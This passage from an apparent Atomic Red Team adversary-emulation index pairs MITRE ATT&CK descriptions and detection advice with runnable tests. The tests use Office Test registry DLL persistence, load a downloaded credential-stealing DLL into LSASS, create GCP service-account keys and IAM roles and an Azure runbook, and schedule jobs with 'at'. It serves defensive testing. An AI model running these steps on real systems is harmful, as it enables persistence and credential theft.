          del "%USERPROFILE%\desktop\T1037.001-log.txt" >nul 2>&1
        name: command_prompt
  T1137.002:
    technique:
      modified: '2024-04-16T12:41:55.175Z'
      name: 'Office Application Startup: Office Test'
      description: |-
        Adversaries may abuse the Microsoft Office "Office Test" Registry key to obtain persistence on a compromised system. An Office Test Registry location exists that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started. This Registry key is thought to be used by Microsoft to load DLLs for testing and debugging purposes while developing Office applications. This Registry key is not created by default during an Office installation.(Citation: Hexacorn Office Test)(Citation: Palo Alto Office Test Sofacy)

        There exist user and global Registry keys for the Office Test feature, such as:

        * <code>HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf</code>
        * <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Office test\Special\Perf</code>

        Adversaries may add this Registry key and specify a malicious DLL that will be executed whenever an Office application, such as Word or Excel, is started.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Monitor for the creation of the Office Test Registry key. Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence. Since v13.52, Autoruns can detect tasks set up using the Office Test Registry key.(Citation: Palo Alto Office Test Sofacy)

        Consider monitoring Office processes for anomalous DLL loads.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      - Office 365
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Creation'
      - 'Command: Command Execution'
      - 'File: File Modification'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'File: File Creation'
      - 'Process: Process Creation'
      - 'Module: Module Load'
      type: attack-pattern
      id: attack-pattern--ed7efd4d-ce28-4a19-a8e6-c58011eb2c7a
      created: '2019-11-07T19:44:04.475Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1137/002
        external_id: T1137.002
      - source_name: Palo Alto Office Test Sofacy
        description: 'Falcone, R. (2016, July 20). Technical Walkthrough: Office Test
          Persistence Method Used In Recent Sofacy Attacks. Retrieved July 3, 2017.'
        url: https://researchcenter.paloaltonetworks.com/2016/07/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/
      - source_name: Hexacorn Office Test
        description: Hexacorn. (2014, April 16). Beyond good ol’ Run key, Part 10.
          Retrieved July 3, 2017.
        url: http://www.hexacorn.com/blog/2014/04/16/beyond-good-ol-run-key-part-10/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1137.002
    atomic_tests:
    - name: Office Application Startup Test Persistence (HKCU)
      auto_generated_guid: c3e35b58-fe1c-480b-b540-7600fb612563
      description: |
        Office Test Registry location exists that allows a user to specify an arbitrary DLL that will be executed every time an Office
        application is started. Key is used for debugging purposes. Not created by default & exist in HKCU & HKLM hives.
      supported_platforms:
      - windows
      dependencies:
      - description: 'Microsoft Word must be installed

          '
        prereq_command: |
          try {
            New-Object -COMObject "Word.Application" | Out-Null
            Stop-Process -Name "winword"
            exit 0
          } catch { exit 1 }
        get_prereq_command: 'Write-Host "You will need to install Microsoft Word manually
          to meet this requirement"

          '
      - description: DLL files must exist on disk at specified location
        prereq_command: 'if ((Test-Path "PathToAtomicsFolder\T1137.002\bin\officetest_x64.dll")
          -and (Test-Path "PathToAtomicsFolder\T1137.002\bin\officetest_x86.dll"))
          {exit 0} else {exit 1}

          '
        get_prereq_command: |-
          New-Item -Type Directory "PathToAtomicsFolder\T1137.002\bin\" -Force | Out-Null
          Invoke-Webrequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.002/bin/officetest_x64.dll" -UseBasicParsing -OutFile "PathToAtomicsFolder\T1137.002\bin\officetest_x64.dll"
          Invoke-Webrequest -Uri "htps://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.002/bin/officetest_x86.dll" -UseBasicParsing -OutFile "PathToAtomicsFolder\T1137.002\bin\officetest_x86.dll"
      executor:
        name: powershell
        command: "$wdApp = New-Object -COMObject \"Word.Application\"\nif(-not $wdApp.path.contains(\"Program
          Files (x86)\"))  \n{\n  Write-Host \"64-bit Office\"\n  reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Office
          test\\Special\\Perf\" /t REG_SZ /d \"PathToAtomicsFolder\\T1137.002\\bin\\officetest_x64.dll\"
          /f       \n}\nelse{\n  Write-Host \"32-bit Office\"\n  reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Office
          test\\Special\\Perf\" /t REG_SZ /d \"PathToAtomicsFolder\\T1137.002\\bin\\officetest_x86.dll\"
          /f\n}\nStop-Process -Name \"WinWord\" \nStart-Process \"WinWord\"\n"
        cleanup_command: |-
          Stop-Process -Name "notepad","WinWord" -ErrorAction Ignore
          Remove-Item "HKCU:\Software\Microsoft\Office test\Special\Perf" -ErrorAction Ignore
  T1547.008:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Vincent Le Toux
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--f0589bc3-a6ae-425a-a3d5-5659bfee07f4
      created: '2020-01-24T18:38:55.801Z'
      x_mitre_version: '1.0'
      external_references:
      - source_name: mitre-attack
        external_id: T1547.008
        url: https://attack.mitre.org/techniques/T1547/008
      - source_name: Microsoft LSA Protection Mar 2014
        url: https://technet.microsoft.com/library/dn408187.aspx
        description: Microsoft. (2014, March 12). Configuring Additional LSA Protection.
          Retrieved November 27, 2017.
      - source_name: Microsoft DLL Security
        url: https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx
        description: Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November
          27, 2017.
      - source_name: Microsoft Security Subsystem
        url: https://technet.microsoft.com/library/cc961760.aspx
        description: Microsoft. (n.d.). Security Subsystem Architecture. Retrieved
          November 27, 2017.
      - source_name: TechNet Autoruns
        url: https://technet.microsoft.com/en-us/sysinternals/bb963902
        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
          Retrieved June 6, 2016.
      x_mitre_deprecated: false
      revoked: false
      description: |-
        Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.(Citation: Microsoft Security Subsystem)

        Adversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574)), an adversary can use LSA operations to continuously execute malicious payloads.
      modified: '2022-05-11T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: 'Boot or Logon Autostart Execution: LSASS Driver'
      x_mitre_detection: "With LSA Protection enabled, monitor the event logs (Events
        3033 and 3063) for failed attempts to load LSA plug-ins and drivers. (Citation:
        Microsoft LSA Protection Mar 2014) Also monitor DLL load operations in lsass.exe.
        (Citation: Microsoft DLL Security)\n\nUtilize the Sysinternals Autoruns/Autorunsc
        utility (Citation: TechNet Autoruns) to examine loaded drivers associated
        with the LSA. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_is_subtechnique: true
      x_mitre_data_sources:
      - 'Module: Module Load'
      - 'File: File Creation'
      - 'Driver: Driver Load'
      - 'File: File Modification'
      x_mitre_permissions_required:
      - SYSTEM
      - Administrator
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1547.008
    atomic_tests:
    - name: Modify Registry to load Arbitrary DLL into LSASS - LsaDbExtPt
      auto_generated_guid: 8ecef16d-d289-46b4-917b-0dba6dc81cf1
      description: "The following Atomic will modify an undocumented registry key
        that may be abused to load a arbitrary DLL into LSASS. \n\nUpon execution,
        the registry key will be modified and a value will contain the path to the
        DLL. \nReference: https://blog.xpnsec.com/exploring-mimikatz-part-1/ and source
        https://github.com/oxfemale/LogonCredentialsSteal\nNote that if any LSA based
        protection is enabled, this will most likely not be successful with LSASS.exe
        loading the DLL.\n"
      supported_platforms:
      - windows
      input_arguments:
        dll_path:
          description: Module to be loaded into LSASS
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\lsass_lib.dll
      dependency_executor_name: powershell
      dependencies:
      - description: 'lsass_lib.dll must exist on disk at specified location (#{dll_path})

          '
        prereq_command: 'if (Test-Path "#{dll_path}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://github.com/oxfemale/LogonCredentialsSteal/raw/53e74251f397ddeab2bd1348c3ff26d702cfd836/lsass_lib/x64/Release/lsass_lib.dll" -UseBasicParsing -OutFile "#{dll_path}"
      executor:
        command: 'New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NTDS
          -Name LsaDbExtPt -Value "#{dll_path}"

          '
        cleanup_command: 'Remove-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS"
          -Name "LsaDbExtPt" -ErrorAction Ignore | Out-Null

          '
        name: powershell
        elevation_required: true
  T1078.004:
    technique:
      modified: '2024-03-29T15:42:13.499Z'
      name: 'Valid Accounts: Cloud Accounts'
      description: "Valid accounts in cloud environments may allow adversaries to
        perform actions to achieve Initial Access, Persistence, Privilege Escalation,
        or Defense Evasion. Cloud accounts are those created and configured by an
        organization for use by users, remote support, services, or for administration
        of resources within a cloud service provider or SaaS application. Cloud Accounts
        can exist solely in the cloud; alternatively, they may be hybrid-joined between
        on-premises systems and the cloud through syncing or federation with other
        identity sources such as Windows Active Directory. (Citation: AWS Identity
        Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying
        AD Federation)\n\nService or user accounts may be targeted by adversaries
        through [Brute Force](https://attack.mitre.org/techniques/T1110), [Phishing](https://attack.mitre.org/techniques/T1566),
        or various other means to gain access to the environment. Federated or synced
        accounts may be a pathway for the adversary to affect both on-premises systems
        and cloud environments - for example, by leveraging shared credentials to
        log onto [Remote Services](https://attack.mitre.org/techniques/T1021). High
        privileged cloud accounts, whether federated, synced, or cloud-only, may also
        allow pivoting to on-premises environments by leveraging SaaS-based [Software
        Deployment Tools](https://attack.mitre.org/techniques/T1072) to run commands
        on hybrid-joined devices.\n\nAn adversary may create long lasting [Additional
        Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) on a compromised
        cloud account to maintain persistence in the environment. Such credentials
        may also be used to bypass security controls such as multi-factor authentication.
        \n\nCloud accounts may also be able to assume [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005)
        or other privileges through various means within the environment. Misconfigurations
        in role assignments or role assumption policies may allow an adversary to
        use these mechanisms to leverage permissions outside the intended scope of
        the account. Such over privileged accounts may be used to harvest sensitive
        data from online storage accounts and databases through [Cloud API](https://attack.mitre.org/techniques/T1059/009)
        or other methods. \n"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      x_mitre_contributors:
      - Jon Sternstein, Stern Security
      x_mitre_deprecated: false
      x_mitre_detection: Monitor the activity of cloud accounts to detect abnormal
        or malicious behavior, such as accessing information outside of the normal
        function of the account or account usage at atypical hours.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Google Workspace
      x_mitre_version: '1.7'
      x_mitre_data_sources:
      - 'User Account: User Account Authentication'
      - 'Logon Session: Logon Session Metadata'
      - 'Logon Session: Logon Session Creation'
      x_mitre_permissions_required:
      - User
      - Administrator
      type: attack-pattern
      id: attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65
      created: '2020-03-13T20:36:57.378Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1078/004
        external_id: T1078.004
      - source_name: AWS Identity Federation
        description: Amazon. (n.d.). Identity Federation in AWS. Retrieved March 13,
          2020.
        url: https://aws.amazon.com/identity/federation/
      - source_name: Google Federating GC
        description: Google. (n.d.). Federating Google Cloud with Active Directory.
          Retrieved March 13, 2020.
        url: https://cloud.google.com/solutions/federating-gcp-with-active-directory-introduction
      - source_name: Microsoft Deploying AD Federation
        description: Microsoft. (n.d.). Deploying Active Directory Federation Services
          in Azure. Retrieved March 13, 2020.
        url: https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/deployment/how-to-connect-fed-azure-adfs
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1078.004
    atomic_tests:
    - name: Creating GCP Service Account and Service Account Key
      auto_generated_guid: 9fdd83fd-bd53-46e5-a716-9dec89c8ae8e
      description: 'GCP Service Accounts can be used to gain intial access as well
        as maintain persistence inside Google Cloud.

        '
      supported_platforms:
      - google-workspace
      - iaas:gcp
      input_arguments:
        project-id:
          description: ID of the project, you want to create service account as well
            as service account key for
          type: string
          default: art-project-1
        service-account-name:
          description: Name of the service account
          type: string
          default: gcp-art-service-account-1
        service-account-email:
          description: Email of the service account
          type: string
          default: gcp-art-service-account-1@art-project-1.iam.gserviceaccount.com
        output-key-file:
          description: Email of the service account
          type: string
          default: gcp-art-service-account-1.json
      executor:
        name: sh
        elevation_required: false
        command: |
          gcloud config set project #{project-id}
          gcloud iam service-accounts create #{service-account-name}
          gcloud iam service-accounts keys create #{output-key-file} --iam-account=#{service-account-email}
        cleanup_command: 'gcloud iam service-accounts delete #{service-account-email}
          --quiet

          '
      dependency_executor_name: sh
      dependencies:
      - description: 'Requires gcloud

          '
        prereq_command: 'if [ -x "$(command -v gcloud)" ]; then exit 0; else exit
          1; fi;

          '
        get_prereq_command: 'echo "Please Install Google Cloud SDK before running
          this atomic test : https://cloud.google.com/sdk/docs/install"

          '
      - description: "Check if user is logged in \n"
        prereq_command: 'gcloud config get-value account

          '
        get_prereq_command: 'gcloud auth login --no-launch-browser

          '
    - name: Azure Persistence Automation Runbook Created or Modified
      auto_generated_guid: 348f4d14-4bd3-4f6b-bd8a-61237f78b3ac
      description: |
        Identifies when an Azure Automation runbook is created or modified. An adversary may create or modify an Azure
        Automation runbook to execute malicious code and maintain persistence in their target's environment.
      supported_platforms:
      - iaas:azure
      input_arguments:
        username:
          description: Azure username
          type: string
          default: 
        password:
          description: Azure password
          type: string
          default: 
        resource_group:
          description: Name of the resource group
          type: string
          default: 
        runbook_name:
          description: Name of the runbook name
          type: string
          default: 
        automation_account_name:
          description: Name of the automation account name
          type: string
          default: 
      dependency_executor_name: powershell
      dependencies:
      - description: 'Check if terraform is installed.

          '
        prereq_command: 'terraform version

          '
        get_prereq_command: 'echo Please install terraform.

          '
      - description: 'Install-Module -Name Az

          '
        prereq_command: 'try {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue)
          {exit 0} else {exit 1}} catch {exit 1}

          '
        get_prereq_command: 'Install-Module -Name Az -Scope CurrentUser -Force

          '
      - description: 'Check if the user is logged into Azure.

          '
        prereq_command: 'az account show

          '
        get_prereq_command: "echo Configure your Azure account using: az login. \n"
      - description: 'Create dependency resources using terraform

          '
        prereq_command: 'try {if (Test-Path "$PathToAtomicsFolder/T1078.004/src/T1078.004-2/terraform.tfstate"
          ){ exit 0 } else {exit 1}} catch {exit 1}

          '
        get_prereq_command: |
          cd "$PathToAtomicsFolder/T1078.004/src/T1078.004-2/"
          terraform init
          terraform apply -auto-approve
      executor:
        command: |
          $secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force
          $creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd
          Connect-AzAccount -Credential $creds
          New-AzAutomationRunbook -Name #{runbook_name} -Type PowerShell -ResourceGroupName #{resource_group} -Description 'my-test-runbook' -AutomationAccountName #{automation_account_name}
        name: powershell
        elevation_required: false
        cleanup_command: |
          Remove-AzAutomationRunbook -AutomationAccountName #{automation_account_name} -Name #{runbook_name} -ResourceGroupName #{resource_group} -Force
          cd "$PathToAtomicsFolder/T1078.004/src/T1078.004-2/"
          terraform destroy -auto-approve
    - name: GCP - Create Custom IAM Role
      auto_generated_guid: 3a159042-69e6-4398-9a69-3308a4841c85
      description: "This atomic will create a new IAM role. The default role permissions
        are: *IAM Service Account Get*. The idea for this Atomic came from a Rule
        published by the Elastic team.\n\nIdentifies an Identity and Access Management
        (IAM) custom role creation in Google Cloud Platform (GCP). \nCustom roles
        are user-defined, and allow for the bundling of one or more supported permissions
        to meet specific needs. \nCustom roles will not be updated automatically and
        could lead to privilege creep if not carefully scrutinized.\n\nThis atomic
        will create a new IAM role. The default role permissions are: *IAM Service
        Account Get*\n\nReference: https://github.com/elastic/detection-rules/blob/main/rules/integrations/gcp/initial_access_gcp_iam_custom_role_creation.toml\n"
      supported_platforms:
      - iaas:gcp
      input_arguments:
        project-id:
          description: ID of the GCP Project you to execute the command against.
          type: string
          default: atomic-test-1
        role-name:
          description: The name of the role to be created.
          type: string
          default: AtomicRedTeamRole
        role-description:
          description: The description of the role to be created.
          type: string
          default: Atomic Red Team Custom IAM Role
        roles:
          description: List of roles to be applied
          type: string
          default: iam.serviceAccounts.get
      executor:
        name: sh
        elevation_required: false
        command: |
          gcloud config set project #{project-id}
          gcloud iam roles create #{role-name} --description="#{role-description}" --permissions=#{roles} --project=#{project-id}
        cleanup_command: 'gcloud iam roles delete #{role-name} --project=#{project-id}

          '
      dependency_executor_name: sh
      dependencies:
      - description: 'Requires gcloud

          '
        prereq_command: 'if [ -x "$(command -v gcloud)" ]; then exit 0; else exit
          1; fi;

          '
        get_prereq_command: 'echo "Please Install Google Cloud SDK before running
          this atomic test : https://cloud.google.com/sdk/docs/install"

          '
      - description: "Check if user is logged in \n"
        prereq_command: 'gcloud config get-value account

          '
        get_prereq_command: 'gcloud auth login --no-launch-browser

          '
  T1053.002:
    technique:
      modified: '2023-11-15T14:38:10.876Z'
      name: 'Scheduled Task/Job: At'
      description: |-
        Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of [Scheduled Task](https://attack.mitre.org/techniques/T1053/005)'s [schtasks](https://attack.mitre.org/software/S0111) in Windows environments, using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group.

        On Linux and macOS, [at](https://attack.mitre.org/software/S0110) may be invoked by the superuser as well as any users added to the <code>at.allow</code> file. If the <code>at.allow</code> file does not exist, the <code>at.deny</code> file is checked. Every username not listed in <code>at.deny</code> is allowed to invoke [at](https://attack.mitre.org/software/S0110). If the <code>at.deny</code> exists and is empty, global use of [at](https://attack.mitre.org/software/S0110) is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use [at](https://attack.mitre.org/software/S0110).(Citation: Linux at)

        Adversaries may use [at](https://attack.mitre.org/software/S0110) to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote [Execution](https://attack.mitre.org/tactics/TA0002) as part of [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or to run a process under the context of a specified account (such as SYSTEM).

        In Linux environments, adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via <code>sudo</code>.(Citation: GTFObins at)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_deprecated: false
      x_mitre_detection: "Monitor process execution from the svchost.exe in Windows
        10 and the Windows Task Scheduler taskeng.exe for older versions of Windows.
        (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used
        for persistence, then the adversary is likely to remove the task when the
        action is complete. Monitor Windows Task Scheduler stores in %systemroot%\\System32\\Tasks
        for change entries related to scheduled tasks that do not correlate with known
        software, patch cycles, etc.\n\nConfigure event logging for scheduled task
        creation and changes by enabling the \"Microsoft-Windows-TaskScheduler/Operational\"
        setting within the event logging service. (Citation: TechNet Forum Scheduled
        Task Operational Setting) Several events will then be logged on scheduled
        task activity, including: (Citation: TechNet Scheduled Task Events)(Citation:
        Microsoft Scheduled Task Events Win10)\n\n* Event ID 106 on Windows 7, Server
        2008 R2 - Scheduled task registered\n* Event ID 140 on Windows 7, Server 2008
        R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated\n* Event ID
        141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled
        task deleted\n* Event ID 4698 on Windows 10, Server 2016 - Scheduled task
        created\n* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled\n*
        Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled\n\nTools
        such as Sysinternals Autoruns may also be used to detect system changes that
        could be attempts at persistence, including listing current scheduled tasks.
        (Citation: TechNet Autoruns)\n\nRemote access tools with built-in features
        may interact directly with the Windows API to perform these functions outside
        of typical system utilities. Tasks may also be created through Windows system
        management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047)
        and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional
        logging may need to be configured to gather the appropriate data.\n\nIn Linux
        and macOS environments, monitor scheduled task creation using command-line
        invocation. Legitimate scheduled tasks may be created during installation
        of new software or through system administration functions. Look for changes
        to tasks that do not correlate with known software, patch cycles, etc. \n\nReview
        all jobs using the <code>atq</code> command and ensure IP addresses stored
        in the <code>SSH_CONNECTION</code> and <code>SSH_CLIENT</code> variables,
        machines that created the jobs, are trusted hosts. All [at](https://attack.mitre.org/software/S0110)
        jobs are stored in <code>/var/spool/cron/atjobs/</code>.(Citation: rowland
        linux at 2019)\n\nSuspicious program execution through scheduled tasks may
        show up as outlier processes that have not been seen before when compared
        against historical data. Data and events should not be viewed in isolation,
        but as part of a chain of behavior that could lead to other activities, such
        as network connections made for [Command and Control](https://attack.mitre.org/tactics/TA0011),
        learning details about the environment through [Discovery](https://attack.mitre.org/tactics/TA0007),
        and [Lateral Movement](https://attack.mitre.org/tactics/TA0008)."
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      - Linux
      - macOS
      x_mitre_version: '2.2'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Scheduled Job: Scheduled Job Creation'
      - 'Network Traffic: Network Traffic Flow'
      - 'Process: Process Creation'
      - 'File: File Modification'
      x_mitre_permissions_required:
      - Administrator
      - User
      x_mitre_remote_support: true
      type: attack-pattern
      id: attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0
      created: '2019-11-27T13:52:45.853Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1053/002
        external_id: T1053.002
      - source_name: rowland linux at 2019
        description: Craig Rowland. (2019, July 25). Getting an Attacker IP Address
          from a Malicious Linux At Job. Retrieved October 15, 2021.
        url: https://www.linkedin.com/pulse/getting-attacker-ip-address-from-malicious-linux-job-craig-rowland/
      - source_name: GTFObins at
        description: Emilio Pinna, Andrea Cardaci. (n.d.). gtfobins at. Retrieved
          September 28, 2021.
        url: https://gtfobins.github.io/gtfobins/at/
      - source_name: Linux at
        description: IEEE/The Open Group. (2017). at(1p) — Linux manual page. Retrieved
          February 25, 2022.
        url: https://man7.org/linux/man-pages/man1/at.1p.html
      - source_name: Twitter Leoloobeek Scheduled Task
        description: Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved
          December 12, 2017.
        url: https://twitter.com/leoloobeek/status/939248813465853953
      - source_name: Microsoft Scheduled Task Events Win10
        description: Microsoft. (2017, May 28). Audit Other Object Access Events.
          Retrieved June 27, 2019.
        url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events
      - source_name: TechNet Scheduled Task Events
        description: Microsoft. (n.d.). General Task Registration. Retrieved December
          12, 2017.
        url: https://technet.microsoft.com/library/dd315590.aspx
      - source_name: TechNet Autoruns
        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
          Retrieved June 6, 2016.
        url: https://technet.microsoft.com/en-us/sysinternals/bb963902
      - source_name: TechNet Forum Scheduled Task Operational Setting
        description: Satyajit321. (2015, November 3). Scheduled Tasks History Retention
          settings. Retrieved December 12, 2017.
        url: https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1053.002
    atomic_tests:
    - name: At.exe Scheduled task
      auto_generated_guid: 4a6c0dc4-0f2a-4203-9298-a5a9bdc21ed8
      description: |
        Executes cmd.exe
        Note: deprecated in Windows 8+

        Upon successful execution, cmd.exe will spawn at.exe and create a scheduled task that will spawn cmd at a specific time.
      supported_platforms:
      - windows
      executor:
        name: command_prompt
        elevation_required: false
        command: 'at 13:20 /interactive cmd

          '
    - name: At - Schedule a job
      auto_generated_guid: 7266d898-ac82-4ec0-97c7-436075d0d08e
      description: 'This test submits a command to be run in the future by the `at`
        daemon.

        '
      supported_platforms:
      - linux
      input_arguments:
        time_spec:
          description: Time specification of when the command should run
          type: string
          default: now + 1 minute
        at_command:
          description: The command to be run
          type: string
          default: echo Hello from Atomic Red Team
      dependency_executor_name: sh
      dependencies:
      - description: 'The `at` and `atd` executables must exist in the PATH

          '
        prereq_command: 'if [ "$(uname)" = ''FreeBSD'' ]; then which at; else which
          at && which atd; fi;

          '
        get_prereq_command: 'echo ''Please install `at` and `atd`; they were not found
          in the PATH (Package name: `at`)''

          '
      - description: 'The `atd` daemon must be running

          '
        prereq_command: 'if [ $(uname) = ''Linux'' ]; then systemctl status atd ||
          service atd status; fi;

          '
        get_prereq_command: 'echo ''Please start the `atd` daemon (sysv: `service
          atd start` ; systemd: `systemctl start atd`)''

          '
      executor:
        name: sh
        elevation_required: false
        command: 'echo "#{at_command}" | at #{time_spec}'
  T1556:
    technique:
      modified: '2024-04-11T21:51:44.851Z'
      name: Modify Authentication Process
      description: |-
        Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078).

        Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_contributors:
      - Chris Ross @xorrior
      x_mitre_deprecated: false
      x_mitre_detection: "Monitor for new, unfamiliar DLL files written to a domain
        controller and/or local computer. Monitor for changes to Registry entries
        for password filters (ex: <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification
        Packages</code>) and correlate then investigate the DLL files these files
        reference. \n\nPassword filters will also show up as an autorun and loaded
        DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)\n\nMonitor
        for calls to <code>OpenProcess</code> that can be used to manipulate lsass.exe
        running on a domain controller as well as for malicious modifications to functions
        exported from authentication-related system DLLs (such as cryptdll.dll and
        samsrv.dll).(Citation: Dell Skeleton) \n\nMonitor PAM configuration and module
        paths (ex: <code>/etc/pam.d/</code>) for changes. Use system-integrity tools
        such as AIDE and monitoring tools such as auditd to monitor PAM files.\n\nMonitor
        for suspicious additions to the /Library/Security/SecurityAgentPlugins directory.(Citation:
        Xorrior Authorization Plugins)\n\nConfigure robust, consistent account activity
